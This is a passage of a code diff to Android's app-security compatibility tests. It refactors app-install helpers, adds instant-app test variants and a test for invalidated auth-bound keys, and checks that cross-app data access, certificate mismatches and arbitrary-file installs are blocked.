+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/certs/Android.bp b/hostsidetests/appsecurity/certs/Android.bp
new file mode 100644
index 0000000..f856c5e
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/Android.bp
@@ -0,0 +1,9 @@
+android_app_certificate {
+    name: "cts-testkey1",
+    certificate: "cts-testkey1",
+}
+
+android_app_certificate {
+    name: "cts-testkey2",
+    certificate: "cts-testkey2",
+}
diff --git a/hostsidetests/appsecurity/certs/keysets/Android.bp b/hostsidetests/appsecurity/certs/keysets/Android.bp
new file mode 100644
index 0000000..ad30099
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/keysets/Android.bp
@@ -0,0 +1,19 @@
+android_app_certificate {
+    name: "cts-keyset-test-a",
+    certificate: "cts-keyset-test-a",
+}
+
+android_app_certificate {
+    name: "cts-keyset-test-b",
+    certificate: "cts-keyset-test-b",
+}
+
+android_app_certificate {
+    name: "cts-keyset-test-c",
+    certificate: "cts-keyset-test-c",
+}
+
+android_app_certificate {
+    name: "cts-keyset-test-ec-a",
+    certificate: "cts-keyset-test-ec-a",
+}
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-negative-modulus.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-negative-modulus.apk
new file mode 100644
index 0000000..cb750c4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-negative-modulus.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v2-only-negative-modulus.apk b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-negative-modulus.apk
new file mode 100644
index 0000000..74c07da
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-negative-modulus.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v3-only-negative-modulus.apk b/hostsidetests/appsecurity/res/pkgsigverify/v3-only-negative-modulus.apk
new file mode 100644
index 0000000..c0aeefc
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v3-only-negative-modulus.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index 2e78272..d8a280e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -26,6 +26,7 @@
 import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.AppModeFull;
+
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -43,6 +44,7 @@
  * Set of tests that verify behavior of adopted storage media, if supported.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull(reason = "Instant applications can only be installed on internal storage")
 public class AdoptableHostTest extends BaseHostJUnit4Test {
 
     public static final String FEATURE_ADOPTABLE_STORAGE = "feature:android.software.adoptable_storage";
@@ -76,7 +78,6 @@
      * sniffed from the underlying fstab.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFeatureConsistent() throws Exception {
         final boolean hasFeature = hasFeature();
         final boolean hasFstab = hasFstab();
@@ -87,7 +88,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testApps() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -151,7 +151,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testPrimaryStorage() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -252,7 +251,6 @@
      * adopted volumes.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testPackageInstaller() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -282,7 +280,6 @@
      * returned at a later time.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testEjected() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 758e6af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -71,10 +71,8 @@
     private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
         final int[] userIds = Utils.getAllUsers(device);
         for (int i = 1; i < userIds.length; i++) {
-            if (device.getCurrentUser() != userIds[i]) {
-                device.removeUser(userIds[i]);
-                CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
-            }
+            device.removeUser(userIds[i]);
+            CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
         }
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index f8f866d..1754dcd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -16,32 +16,24 @@
 
 package android.appsecurity.cts;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import android.platform.test.annotations.AppModeInstant;
 import com.android.ddmlib.Log;
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.AbiUtils;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
-import java.io.FileNotFoundException;
-
 /**
  * Set of tests that verify various security checks involving multiple apps are
  * properly enforced.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class AppSecurityTests extends BaseHostJUnit4Test {
+public class AppSecurityTests extends BaseAppSecurityTest {
 
     // testSharedUidDifferentCerts constants
     private static final String SHARED_UI_APK = "CtsSharedUidInstall.apk";
@@ -72,7 +64,9 @@
     private static final String TARGET_INSTRUMENT_PKG = "com.android.cts.targetinstrumentationapp";
     private static final String INSTRUMENT_DIFF_CERT_APK = "CtsInstrumentationAppDiffCert.apk";
     private static final String INSTRUMENT_DIFF_CERT_PKG =
-        "com.android.cts.instrumentationdiffcertapp";
+            "com.android.cts.instrumentationdiffcertapp";
+    private static final String INSTRUMENT_DIFF_CERT_CLASS =
+            "com.android.cts.instrumentationdiffcertapp.InstrumentationFailToRunTest";
 
     // testPermissionDiffCert constants
     private static final String DECLARE_PERMISSION_APK = "CtsPermissionDeclareApp.apk";
@@ -86,11 +80,6 @@
 
     private static final String LOG_TAG = "AppSecurityTests";
 
-    private File getTestAppFile(String fileName) throws FileNotFoundException {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        return buildHelper.getTestFile(fileName);
-    }
-
     @Before
     public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
@@ -102,25 +91,16 @@
      * if it is signed with a different certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
+    @AppModeFull(reason = "Instant applications can't define shared UID")
     public void testSharedUidDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
         try {
-            // cleanup test apps that might be installed from previous partial test run
             getDevice().uninstallPackage(SHARED_UI_PKG);
             getDevice().uninstallPackage(SHARED_UI_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(getTestAppFile(SHARED_UI_APK),
-                    false, options);
-            assertNull(String.format("failed to install shared uid app, Reason: %s", installResult),
-                    installResult);
-            installResult = getDevice().installPackage(getTestAppFile(SHARED_UI_DIFF_CERT_APK),
-                    false, options);
-            assertNotNull("shared uid app with different cert than existing app installed " +
-                    "successfully", installResult);
-            assertEquals("INSTALL_FAILED_SHARED_USER_INCOMPATIBLE",
-                    installResult.substring(0, installResult.indexOf(':')));
+            new InstallMultiple().addApk(SHARED_UI_APK).run();
+            new InstallMultiple().addApk(SHARED_UI_DIFF_CERT_APK)
+                    .runExpectingFailure("INSTALL_FAILED_SHARED_USER_INCOMPATIBLE");
         } finally {
             getDevice().uninstallPackage(SHARED_UI_PKG);
             getDevice().uninstallPackage(SHARED_UI_DIFF_CERT_PKG);
@@ -132,26 +112,27 @@
      * certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testAppUpgradeDifferentCerts() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAppUpgradeDifferentCerts_full() throws Exception {
+        testAppUpgradeDifferentCerts(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAppUpgradeDifferentCerts_instant() throws Exception {
+        testAppUpgradeDifferentCerts(true);
+    }
+    private void testAppUpgradeDifferentCerts(boolean instant) throws Exception {
         Log.i(LOG_TAG, "installing app upgrade with different certs");
         try {
-            // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(SIMPLE_APP_PKG);
+            getDevice().uninstallPackage(SIMPLE_APP_DIFF_CERT_APK);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(getTestAppFile(SIMPLE_APP_APK),
-                    false, options);
-            assertNull(String.format("failed to install simple app. Reason: %s", installResult),
-                    installResult);
-            installResult = getDevice().installPackage(getTestAppFile(SIMPLE_APP_DIFF_CERT_APK),
-                    true /* reinstall */, options);
-            assertNotNull("app upgrade with different cert than existing app installed " +
-                    "successfully", installResult);
-            assertEquals("INSTALL_FAILED_UPDATE_INCOMPATIBLE",
-                    installResult.substring(0, installResult.indexOf(':')));
+            new InstallMultiple(instant).addApk(SIMPLE_APP_APK).run();
+            new InstallMultiple(instant).addApk(SIMPLE_APP_DIFF_CERT_APK)
+                    .runExpectingFailure("INSTALL_FAILED_UPDATE_INCOMPATIBLE");
         } finally {
             getDevice().uninstallPackage(SIMPLE_APP_PKG);
+            getDevice().uninstallPackage(SIMPLE_APP_DIFF_CERT_APK);
         }
     }
 
@@ -159,29 +140,27 @@
      * Test that an app cannot access another app's private data.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testAppFailAccessPrivateData() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAppFailAccessPrivateData_full() throws Exception {
+        testAppFailAccessPrivateData(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAppFailAccessPrivateData_instant() throws Exception {
+        testAppFailAccessPrivateData(true);
+    }
+    private void testAppFailAccessPrivateData(boolean instant)
+            throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
         try {
-            // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
             getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
-                    false, options);
-            assertNull(String.format("failed to install app with data. Reason: %s", installResult),
-                    installResult);
-            // run appwithdata's tests to create private data
-            runDeviceTestsAsCurrentUser(
-                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+            new InstallMultiple().addApk(APP_WITH_DATA_APK).run();
+            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
-            installResult = getDevice().installPackage(getTestAppFile(APP_ACCESS_DATA_APK),
-                    false, options);
-            assertNull(String.format("failed to install app access data. Reason: %s",
-                    installResult), installResult);
-            // run appaccessdata's tests which attempt to access appwithdata's private data
-            runDeviceTestsAsCurrentUser(APP_ACCESS_DATA_PKG);
+            new InstallMultiple(instant).addApk(APP_ACCESS_DATA_APK).run();
+            runDeviceTests(APP_ACCESS_DATA_PKG, null, null, instant);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
             getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
@@ -192,31 +171,29 @@
      * Test that uninstall of an app removes its private data.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testUninstallRemovesData() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testUninstallRemovesData_full() throws Exception {
+        testUninstallRemovesData(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testUninstallRemovesData_instant() throws Exception {
+        testUninstallRemovesData(true);
+    }
+    private void testUninstallRemovesData(boolean instant) throws Exception {
         Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
         try {
-            // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
-                    false, options);
-            assertNull(String.format("failed to install app with data. Reason: %s", installResult),
-                    installResult);
-            // run appwithdata's tests to create private data
-            runDeviceTestsAsCurrentUser(
+            new InstallMultiple(instant).addApk(APP_WITH_DATA_APK).run();
+            runDeviceTests(
                     APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
 
-            installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
-                    false, options);
-            assertNull(String.format("failed to install app with data second time. Reason: %s",
-                    installResult), installResult);
-            // run appwithdata's 'check if file exists' test
-            runDeviceTestsAsCurrentUser(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
-                    APP_WITH_DATA_CHECK_NOEXIST_METHOD);
+            new InstallMultiple(instant).addApk(APP_WITH_DATA_APK).run();
+            runDeviceTests(
+                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CHECK_NOEXIST_METHOD);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
         }
@@ -226,30 +203,35 @@
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testInstrumentationDiffCert() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstrumentationDiffCert_full() throws Exception {
+        testInstrumentationDiffCert(false, false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstrumentationDiffCert_instant() throws Exception {
+        testInstrumentationDiffCert(false, true);
+        testInstrumentationDiffCert(true, false);
+        testInstrumentationDiffCert(true, true);
+    }
+    private void testInstrumentationDiffCert(boolean targetInstant, boolean instrumentInstant)
+            throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to instrument another app");
         try {
             // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
             getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(
-                    getTestAppFile(TARGET_INSTRUMENT_APK), false, options);
-            assertNull(String.format("failed to install target instrumentation app. Reason: %s",
-                    installResult), installResult);
+            new InstallMultiple(targetInstant).addApk(TARGET_INSTRUMENT_APK).run();
+            new InstallMultiple(instrumentInstant).addApk(INSTRUMENT_DIFF_CERT_APK).run();
 
-            // the app will install, but will get error at runtime when starting instrumentation
-            installResult = getDevice().installPackage(getTestAppFile(INSTRUMENT_DIFF_CERT_APK),
-                    false, options);
-            assertNull(String.format(
-                    "failed to install instrumentation app with diff cert. Reason: %s",
-                    installResult), installResult);
-            // run INSTRUMENT_DIFF_CERT_PKG tests
-            // this test will attempt to call startInstrumentation directly and verify
-            // SecurityException is thrown
-            runDeviceTestsAsCurrentUser(INSTRUMENT_DIFF_CERT_PKG);
+            // if we've installed either the instrumentation or target as an instant application,
+            // starting an instrumentation will just fail instead of throwing a security exception
+            // because neither the target nor instrumentation packages can see one another
+            final String methodName = (targetInstant|instrumentInstant)
+                    ? "testInstrumentationNotAllowed_fail"
+                    : "testInstrumentationNotAllowed_exception";
+            runDeviceTests(INSTRUMENT_DIFF_CERT_PKG, INSTRUMENT_DIFF_CERT_CLASS, methodName);
         } finally {
             getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
             getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
@@ -261,7 +243,7 @@
      * certificate than the app that declared the permission.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
+    @AppModeFull(reason = "Only the platform can define permissions obtainable by instant applications")
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
@@ -270,24 +252,11 @@
             getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
             getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
-            String installResult = getDevice().installPackage(
-                    getTestAppFile(DECLARE_PERMISSION_APK), false, options);
-            assertNull(String.format("failed to install declare permission app. Reason: %s",
-                    installResult), installResult);
+            new InstallMultiple().addApk(DECLARE_PERMISSION_APK).run();
+            new InstallMultiple().addApk(DECLARE_PERMISSION_COMPAT_APK).run();
 
-            installResult = getDevice().installPackage(
-                    getTestAppFile(DECLARE_PERMISSION_COMPAT_APK), false, options);
-            assertNull(String.format("failed to install declare permission compat app. Reason: %s",
-                    installResult), installResult);
-
-            // the app will install, but will get error at runtime
-            installResult = getDevice().installPackage(getTestAppFile(PERMISSION_DIFF_CERT_APK),
-                    false, options);
-            assertNull(String.format("failed to install permission app with diff cert. Reason: %s",
-                    installResult), installResult);
-            // run PERMISSION_DIFF_CERT_PKG tests which try to access the permission
-            runDeviceTestsAsCurrentUser(PERMISSION_DIFF_CERT_PKG);
+            new InstallMultiple().addApk(PERMISSION_DIFF_CERT_APK).run();
+            runDeviceTests(PERMISSION_DIFF_CERT_PKG, null);
         } finally {
             getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
             getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
@@ -299,21 +268,20 @@
      * Tests that an arbitrary file cannot be installed using the 'cmd' command.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testAdbInstallFile() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAdbInstallFile_full() throws Exception {
+        testAdbInstallFile(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAdbInstallFile_instant() throws Exception {
+        testAdbInstallFile(true);
+    }
+    private void testAdbInstallFile(boolean instant) throws Exception {
         String output = getDevice().executeShellCommand(
-                "cmd package install -S 1024 /data/local/tmp/foo.apk");
+                "cmd package install"
+                        + (instant ? " --instant" : " --full")
+                        + " -S 1024 /data/local/tmp/foo.apk");
         assertTrue("Error text", output.contains("Error"));
     }
-
-    private void runDeviceTestsAsCurrentUser(String packageName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, null, null);
-    }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String className, String methodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, className, methodName);
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
new file mode 100644
index 0000000..2597020
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.io.FileNotFoundException;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that verify some of the behaviors of Auth-Bound keys
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AuthBoundKeyTest extends BaseAppSecurityTest {
+    static final String PKG = "com.android.cts.authboundkeyapp";
+    static final String CLASS = PKG + ".AuthBoundKeyAppTest";
+    static final String APK = "AuthBoundKeyApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        Utils.prepareSingleUser(getDevice());
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    public void useInvalidatedAuthBoundKey()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple().addApk(APK).run();
+        getDevice().executeShellCommand("cmd lock_settings set-pin 1234");
+        runDeviceTests(PKG, CLASS, "testGenerateAuthBoundKey");
+        getDevice().executeShellCommand("cmd lock_settings clear --old 1234 --user 0");
+        runDeviceTests(PKG, CLASS, "testUseKey");
+        getDevice().executeShellCommand("cmd lock_settings set-pin 12345");
+        getDevice().executeShellCommand("input keyevent 26");  // Screen on
+        getDevice().executeShellCommand("input keyevent 82");  // Bring up lock screen
+        getDevice().executeShellCommand("input text 12345");   // Input password
+        getDevice().executeShellCommand("input keyevent 66");  // Submit input
+        // try:finally clause to ensure the pin is wiped before testing continues
+        try {
+            runDeviceTests(PKG, CLASS, "testUseKey");
+        } finally {
+            getDevice().executeShellCommand("cmd lock_settings clear --old 12345 --user 0");
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index c463d5a..822edce 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -24,6 +23,7 @@
 import org.junit.Before;
 
 import java.util.ArrayList;
+import java.util.HashMap;
 
 /**
  * Base class.
@@ -32,37 +32,77 @@
 
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
+    protected boolean mIsSplitSystemUser;
     protected int mPrimaryUserId;
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUpBaseAppSecurityTest() throws Exception {
         Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
 
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
+        mIsSplitSystemUser = checkIfSplitSystemUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
         mFixedUsers = new ArrayList<>();
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != Utils.USER_SYSTEM) {
             mFixedUsers.add(Utils.USER_SYSTEM);
         }
+        getDevice().switchUser(mPrimaryUserId);
+    }
+
+    private boolean checkIfSplitSystemUser() throws Exception {
+        final String commandOuput = getDevice().executeShellCommand(
+                "getprop ro.fw.system_user_split");
+        return "y".equals(commandOuput) || "yes".equals(commandOuput)
+                || "1".equals(commandOuput) || "true".equals(commandOuput)
+                || "on".equals(commandOuput);
     }
 
     protected void installTestAppForUser(String apk, int userId) throws Exception {
+        installTestAppForUser(apk, false, userId);
+    }
+
+    protected void installTestAppForUser(String apk, boolean instant, int userId) throws Exception {
         if (userId < 0) {
             userId = mPrimaryUserId;
         }
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        Assert.assertNull(getDevice().installPackageForUser(
-                buildHelper.getTestFile(apk), true, false, userId, "-t"));
+        new InstallMultiple(instant)
+                .addApk(apk)
+                .allowTest()
+                .forUser(userId)
+                .run();
+    }
+
+    // TODO: We should be able to set test arguments from the BaseHostJUnit4Test methods
+    protected void runDeviceTests(String packageName, String testClassName,
+            String testMethodName, boolean instant) throws DeviceNotAvailableException {
+        final HashMap<String, String> testArgs;
+        if (instant) {
+            testArgs = new HashMap<>();
+            testArgs.put("is_instant", Boolean.TRUE.toString());
+        } else {
+            testArgs = null;
+        }
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, testArgs);
     }
 
     protected boolean isAppVisibleForUser(String packageName, int userId,
-            boolean matchUninstalled) throws DeviceNotAvailableException {
+            boolean matchUninstalled) throws Exception {
         String command = "cmd package list packages --user " + userId;
         if (matchUninstalled) command += " -u";
         String output = getDevice().executeShellCommand(command);
         return output.contains(packageName);
     }
+
+    protected class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        public InstallMultiple() {
+            this(false);
+        }
+        public InstallMultiple(boolean instant) {
+            super(getDevice(), getBuild(), getAbi());
+            addArg(instant ? "--instant" : "");
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
index cc87584..b403f37 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
@@ -78,6 +78,11 @@
         return (T) this;
     }
 
+    T allowTest() {
+        addArg("-t");
+        return (T) this;
+    }
+
     T locationAuto() {
         addArg("--install-location 0");
         return (T) this;
@@ -98,15 +103,24 @@
         return (T) this;
     }
 
+    T forUser(int userId) {
+        addArg("--user " + userId);
+        return (T) this;
+    }
+
     void run() throws DeviceNotAvailableException {
-        run(true);
+        run(true, null);
     }
 
     void runExpectingFailure() throws DeviceNotAvailableException {
-        run(false);
+        run(false, null);
     }
 
-    private void run(boolean expectingSuccess) throws DeviceNotAvailableException {
+    void runExpectingFailure(String failure) throws DeviceNotAvailableException {
+        run(false, failure);
+    }
+
+    private void run(boolean expectingSuccess, String failure) throws DeviceNotAvailableException {
         final ITestDevice device = mDevice;
 
         // Create an install session
@@ -159,11 +173,15 @@
         cmd.append("pm install-commit");
         cmd.append(' ').append(sessionId);
 
-        result = device.executeShellCommand(cmd.toString());
-        if (expectingSuccess) {
-            TestCase.assertTrue(result, result.startsWith("Success"));
+        result = device.executeShellCommand(cmd.toString()).trim();
+        if (failure == null) {
+            if (expectingSuccess) {
+                TestCase.assertTrue(result, result.startsWith("Success"));
+            } else {
+                TestCase.assertFalse(result, result.startsWith("Success"));
+            }
         } else {
-            TestCase.assertFalse(result, result.startsWith("Success"));
+            TestCase.assertTrue(result, result.contains(failure));
         }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
deleted file mode 100644
index edcbd97..0000000
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-package android.appsecurity.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class ClassloaderSplitsTest extends BaseHostJUnit4Test implements IBuildReceiver {
-    private static final String PKG = "com.android.cts.classloadersplitapp";
-    private static final String TEST_CLASS = PKG + ".SplitAppTest";
-
-    /* The feature hierarchy looks like this:
-
-        APK_BASE (PathClassLoader)
-          ^
-          |
-        APK_FEATURE_A (DelegateLastClassLoader)
-          ^
-          |
-        APK_FEATURE_B (PathClassLoader)
-
-     */
-
-    private static final String APK_BASE = "CtsClassloaderSplitApp.apk";
-    private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
-    private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
-
-    @Before
-    public void setUp() throws Exception {
